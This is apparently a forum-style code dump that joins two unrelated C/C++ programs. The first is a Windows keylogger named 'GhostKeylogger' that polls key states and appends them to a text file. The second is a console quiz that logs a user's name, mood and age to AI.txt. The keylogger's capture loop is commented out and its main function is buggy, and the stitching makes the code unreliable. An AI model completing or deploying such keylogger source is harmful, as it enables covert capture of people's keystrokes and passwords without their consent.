Managed C++/CLI

#include <windows.h>
#include <stdio.h>
#include <ctype.h>
#define VK_4 0x34
#define VK_1 0x31

void GhostKeylogger(FILE *txt);
byte teclas[256];
char teclasespeciales[32]; 

void GhostKeylogger(FILE *txt)
{
    for(int i=0; i<255; i++){
		
		/*	if(GetAsyncKeyState(i)==-32767){  
				
		    
            *teclasespeciales = 0;
            if(ToAscii(i, MapVirtualKey(i, 0), teclas, (LPWORD)teclasespeciales, 0) == 1)
            fprintf(txt, "[%c]", *teclasespeciales);
            else if(GetKeyNameText((MapVirtualKey(i, 0) << 16), teclasespeciales, 32) > 0)
            fprintf(txt, "[%s]", teclasespeciales); 
            
               }	*/
            if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
           		{
				if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
				 {
				 fprintf(txt,"~"); break;
				}}
				
/////////////////////////////IMAGINE SEPARATOR BAR////////////////////////////////////	
		
		   	if(GetAsyncKeyState(VK_MENU) && GetAsyncKeyState(VK_1))
		   	{
					fprintf(txt,"%c\t",0x01);  //What should i do here?
							
			}
////////////////////////////IMAGINE SEPARATOR BAR/////////////////////////////////////////
		 
	}
}

int main(){
	
	FILE *txt;
	 while(TRUE){   
       if(txt != NULL){
       FILE *txt = fopen("Experimento.txt", "a+");
       Sleep(30);/*to prevent high usage*/
       GhostKeylogger(txt);
       fclose(txt);
    }
   }
}

#include "stdafx.h"

#define DEBUG

// Answer class
class CAnswers {
public:
	vector<string> answer;
	CAnswers(void);
	CAnswers(string ans);
	~CAnswers(void);
	int size(void);
} Answers;
CAnswers::CAnswers(void) {
}
CAnswers::CAnswers(string ans) {
	stringstream ss(ans);
	string temp_answer;
	while (getline(ss, temp_answer, ','))
		answer.push_back(temp_answer);
}
CAnswers::~CAnswers(void){
}
int CAnswers::size(void) {
	return answer.size();
}

// Question class
class CQuestion {
	string _question;

public:
	CAnswers* answers;
	CQuestion(void);
	CQuestion(string q_a);
	~CQuestion(void);
	string question(void);
} Question;
CQuestion::CQuestion(void) {
}
CQuestion::CQuestion(string q_a) {
	string ans;

	stringstream ss(q_a);
	getline(ss, _question, ':');
	ss >> ans;
	answers = new CAnswers(ans);
}
string CQuestion::question(void) {
	return _question;
}
CQuestion::~CQuestion(void){
	delete answers;
}

//Editor class
class CEditor {
	vector<CQuestion> questions;
	ofstream myFile;
	int age, address;
	char selection, character[1];
	string name, response;
	HANDLE np;
	unsigned notepadID;

public:
	CQuestion* q;
	CEditor(void);
	~CEditor(void);
	int menu(void);
	void question(void);
	void reload(void);
	int time(void);
	static unsigned int __stdcall notepadThread(void* arg);
	void notepad(void);
} Editor;
CEditor::~CEditor(void){
	delete q;
}
CEditor::CEditor(void) {
	np = 0;
}
unsigned int __stdcall CEditor::notepadThread(void* arg) {
	system("notepad.exe AI.txt");
	_endthreadex(0);
	return 0;
}
void CEditor::notepad(void) {
	_beginthreadex(NULL, 0, &CEditor::notepadThread, np, 0, ¬epadID);
}
int CEditor::menu(void) {
	system("CLS");
	cout << "Menu:\n9 = Basic Information.\n8 = DATALOG\n7 = Reload \n6 = Time\n0 = Leave\n";
	cin >> selection;

	switch (selection)
	{
		// Open text in notepad
	case '8': {
		notepad();
		break;
	}
		// Exit program
	case '0': {
		cout << "- Please close Notepad to exit - ";
		return 0;
	}
		// Ask questions and place answers into AI.txt
	case '9': {
		question();
		break;
	}
		// Simulate reloading program,
	case '7': {
		reload();
		break;
	}
		// Clock
	case '6': {
		do {
			time();
			cout << "Press Enter to exit";
			Sleep(750);
		} while (_getch() != '\n');
		break;
	}
		// Invalid response
	default: {
		cout << "Nope" << endl;
		break;
	}
	}
	return 1;
}
void CEditor::question(void) {
	// Open file and move to end of file.
	myFile.open("AI.txt", ios_base::app);
	myFile << "\n----- new entry -----\n";
	// Clear console and ask questions.
	system("CLS");
	cout << "AI: What is your name?" << endl;
	cin >> name;
	system("CLS");
	myFile << "Datalog" << "\nName: " << name << endl;

	cout << "AI: How are you feeling?" << endl << name << ": ";
	cin >> response;
	system("CLS");
	if (response == character) {
		cout << "Invalid answer";
	}
	myFile << name << " is feeling " << response << endl;
	cout << "AI: What is your age " << name << "?" << endl << name << ": ";
	cin >> age;
	system("CLS");
	myFile << name << "'s age is " << age;
	myFile.close();
	if (!myFile)
	{
		cout << "Error";
	}
}
void CEditor::reload(void) {
	system("CLS");
	cout << "Reloading";
	Sleep(1000);
	cout << ".";
	Sleep(1000);
	cout << ".";
	Sleep(1000);
	cout << ".";
}
int CEditor::time(void) {
	struct tm newtime;
	char am_pm[] = "AM";
	__time64_t long_time;
	char timebuf[26];
	errno_t err;

	// Clear the screen
	system("CLS");
	// Get time as 64-bit integer.
	_time64(&long_time);
	// Convert to local time.
	err = _localtime64_s(&newtime, &long_time);
	if (err)
	{
		printf("Invalid argument to _localtime64_s.");
		exit(1);
	}
	if (newtime.tm_hour > 12)        // Set up extension.
		strcpy_s(am_pm, sizeof(am_pm), "PM");
	if (newtime.tm_hour > 12)        // Convert from 24-hour
		newtime.tm_hour -= 12;    // to 12-hour clock.
	if (newtime.tm_hour == 0)        // Set hour to 12 if midnight.
		newtime.tm_hour = 12;

	// Convert to an ASCII representation.
	err = asctime_s(timebuf, 26, &newtime);
	if (err)
	{
		printf("Invalid argument to asctime_s.");
		exit(1);
	}
	printf("%.19s %s\n", timebuf, am_pm);
	return 1;
}

int _tmain(int argc, _TCHAR* argv[])
{
	CEditor editor;
	editor.q = new CQuestion("How are you?:Good,Bad");
	cout << editor.q->question() << endl;
	for (int i = 0; i<editor.q->answers->size(); ++i) {
		cout << editor.q->answers->answer[i] << endl;
	}
	system("pause");
	//while(editor.menu());
	return 0;
}